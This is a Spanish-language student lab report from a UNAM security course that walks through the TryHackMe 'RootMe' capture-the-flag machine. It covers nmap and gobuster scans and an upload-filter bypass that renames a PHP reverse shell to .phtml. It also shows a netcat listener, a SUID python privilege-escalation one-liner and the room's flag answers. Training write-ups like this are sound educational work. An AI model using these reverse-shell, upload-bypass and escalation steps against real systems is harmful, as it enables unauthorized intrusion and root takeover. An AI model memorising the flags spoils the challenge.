---
# System prepended metadata

title: Práctica 7 - RootMe?

---

[<img src="https://pagina.fciencias.unam.mx/sites/default/files/logoFC_2.png" width="400" style="float:center;border-radius:10%"/>] (https://www.fciencias.unam.mx)


Criptografía y Seguridad 2023-2
---

***Profesor***
:  [Anayanzi Delia Martínez Hernández](mailto:anayanzi@ciencias.unam.mx)

***Ayudantes***
 : ***Teoría***
    : [Ivan Daniel Galindo Perez](mailto:ivangalindo@ciencias.unam.mx)

: ***Laboratorio***
    :   [Luis Fernando Yang Fong Baeza](mailto:fernandofong@ciencias.unam.mx)


***Equipo***

[<img src="https://tryhackme-badges.s3.amazonaws.com/fcamachos.png" style="float:right" />](https://tryhackme.com/p/fcamachos)

: [Camacho Sosa Fernando](mailto:fcamachos@ciencias.unam.mx)
    : 305262550

[<img src="https://tryhackme-badges.s3.amazonaws.com/jean.dv.png" alt="TryHackMe" style="float:right">](https://tryhackme.com/p/jean.dv)

: [Jean Durán](mailto:jean.dv@ciencias.unam.mx)
    : 316032416



<div style="page-break-after: always;"></div>


# Práctica 7 - RootMe?

Realización del laboratorio ***"RootMe"*** en *[TryHackme](https://tryhackme.com/room/rrootme)*.

## Respuestas que se ingresaron en la plataforma para completar el laboratorio

* **Pertos abiertos:** 2
* **Version de Apache corriendo:** 2.4.29
* **Servicio corriendo en puerto 22:** ssh
* **Directorio oculto:** /panel/
* **Contenido de user.txt:** THM{y0u_g0t_a_sh3ll}
* **Archivo con permiso SUID:** /usr/bin/python
* **Contenido de archivo root.txt:** THM{pr1v1l3g3_3sc4l4t10n}

## Conexión al servidor TryHackme

Una vez descargado el archivo de configuración desde el perfil en ***TryHackme***, se ejecutó el comando `sudo openvpn fcamachos.ovpn`, quedando así conectado al servidor.

![](./img/Screenshot_20230522_230819.png)
![](https://hackmd.io/_uploads/H1efY1qBn.png)

![](img/Screenshot_20230522_231104.png)
![](https://hackmd.io/_uploads/HyWQKJ5r3.png)

![](img/Screenshot_20230522_231412.png)
![](https://hackmd.io/_uploads/SyiQtJqB2.png)



## Reconnaissance

Una vez que iniciamos la máquina y nos conectamos a ella, hacemos un análisis con el comando:
`nmap -sC -sV -oN nmap/rootme 10.10.56.198`

Lo cual nos regresa el siguiente resultado:

```sh
# Nmap 7.80 scan initiated Mon May 22 23:24:34 2023 as: nmap -sC -sV -oN nmap/rootme 10.10.56.198
Nmap scan report for 10.10.56.198
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 22 23:25:02 2023 -- 1 IP address (1 host up) scanned in 28.19 seconds
```

Por lo tanto, encontramos 2 puertos abiertos, el **22** y el **80**. También notamos que la versión de Apache es la `2.4.29`. Y que el servicio corriendo en el puerto 22 es `ssh`.

### GoBuster

Dado que nuestra instalación de Gobuster es la v2.0.1, usaremos la sintaxis antigua para hacer el análisis de la ip de la víctima.

```sh
$ gobuster -u http://10.10.56.198/ -w ./RootMe/wordlists/dirb/small.txt 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.56.198/
[+] Threads      : 10
[+] Wordlist     : ./RootMe/wordlists/dirb/small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2023/05/23 01:13:40 Starting gobuster
=====================================================
/css (Status: 301)
/js (Status: 301)
/panel (Status: 301)
/uploads (Status: 301)
=====================================================
2023/05/23 01:13:58 Finished
=====================================================
```

Encontramos una serie de directorios, entre los cuales destaca el `/panel`.

## Getting a Shell

Ahora debemos encontrar una manera de hacernos del control del servidor. 

En un navegador web entramos a la dirección `http://10.10.197.109` (la IP ha cambiado dado que el intento se hizo en otro día, con una máquina nueva.)

![](img/Screenshot_20230523_150838.png)
![](https://hackmd.io/_uploads/B1Mb4pqHh.png)


![](img/Screenshot_20230523_151013.png)
![](https://hackmd.io/_uploads/ry5-Ep5B2.png)


Vemos una curiosa animación y buscando en el código fuente de la página no encontramos nada de valor.
Ahora entramos al directorio que encontramos con Gobuster:

![](img/Screenshot_20230523_151041.png)
![](https://hackmd.io/_uploads/H14GEa9S3.png)


![](img/Screenshot_20230523_151114.png)
![](https://hackmd.io/_uploads/BkxQ4aqHn.png)


Podemos ver que podemos subir archivos, y para fines de esta práctica, intentaremos subir un script para obtener un reverse shell que use Apache o PHP. 

Buscando en Google encontramos es siguiente [script](https://github.com/pentestmonkey/php-reverse-shell), así que lo guardamos en nuestro equipo.

Nos damos cuenta que el script viene preparado para que editemos la IP de la victima y el puerto.

```php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.197.109';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

A continuación ponemos un netcat listener para detectar señales del puerto `1234`.

```sh 
$ nc -lvnp 1234
```

Y subimos el script modificado.

![](img/Screenshot_20230523_152734.png)
![](https://hackmd.io/_uploads/SkPVV6qB3.png)



Nos damos cuenta de que no podemos subir PHPs al servidor. Así que intentamos cambiar la extensión por algo que sí esté permitido y que se ejecute como un `php`. 

Encontramos que algunos scripts pueden ejecutarse aún si se les cambia la extensión por `php2`, `phps`, `phtml`, `pgif`, etc. 
Así que cambiamos el nombre por una extensión `.pgif` e intentamos subirlo.

![](img/Screenshot_20230523_153609.png)
![](https://hackmd.io/_uploads/rJiE46cBn.png)



![](img/Screenshot_20230523_153524.png)
![](https://hackmd.io/_uploads/HkGSNa5Hn.png)


Y vemos en el directorio `/uploads` que se subió correctamente.

![](img/Screenshot_20230523_153921.png)
![](https://hackmd.io/_uploads/r1yLN65Sn.png)


Desafortunadamente al hacer click en el archivo nos aparece el siguiente error.

![](img/Screenshot_20230523_154243.png)
![](https://hackmd.io/_uploads/ry-D4p5Hn.png)


Por lo que tendremos que intentar con otras extensiones. 

Después de intentar con las extensiones nos dimos cuenta de que `.phtml` funciona bien. Sin embargo, había un error en la dirección IP.

![](img/Screenshot_20230523_154858.png)
![](https://hackmd.io/_uploads/ryNvETqr3.png)


Finalmente se corrigió y se subió el archivo correcto. Al ejecutarlo obtuvimos lo siguiente

![](img/Screenshot_20230523_155540.png)
![](https://hackmd.io/_uploads/HyxJr6qS2.png)




Ahora que tenemos acceso remoto a shell, buscamos el archivo `user.txt` que TryHackme nos ha pedido que busquemos:

```sh
$ find / -name user.txt
```

![](img/Screenshot_20230523_161205.png)
![](https://hackmd.io/_uploads/HyhJHTqr3.png)


El archivo se encuentra en `/var/www/user.txt`. Y al abrir el archivo nos encontramos la **bandera** `THM{y0u_g0t_a_sh3ll}`.

![](img/Screenshot_20230523_161528.png)
![](https://hackmd.io/_uploads/HkYer69Hh.png)


## Privilege Escalation

Para obtener permisos de administrador en el sistema, TryHackme recomienda hacer una búsqueda de los archivos que tengar permisos SUID. Por lo que ejecutamos:

```sh
$ find / -perm -u=s -type f 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python         ­<----------------------------------------||
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount

```

Haciéndo una búsqueda en google sobre SUID, encontramos la página [GTFOBins](https://gtfobins.github.io/) donde encontramos que python tiene un problema de escalamiento de privilegios. Incluso, en la misma página, nos muestra el comando con el cual se escalan los privilegios.

```sh
$ python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
# whoami
root
```

Finalmente buscamos el archivo `root.txt` 

```sh
# find / -name root.txt 2>/dev/null
/root/root.txt
# cat /root/root.txt	
THM{pr1v1l3g3_3sc4l4t10n}
# 

```

![](img/Screenshot_20230523_164608.png)
![](https://hackmd.io/_uploads/ryLbHTqS2.png)


Y obtenemos la **bandera** `THM{pr1v1l3g3_3sc4l4t10n}`.

![](img/Screenshot_20230523_164706.png)
![](https://hackmd.io/_uploads/r1yzra9S3.png)
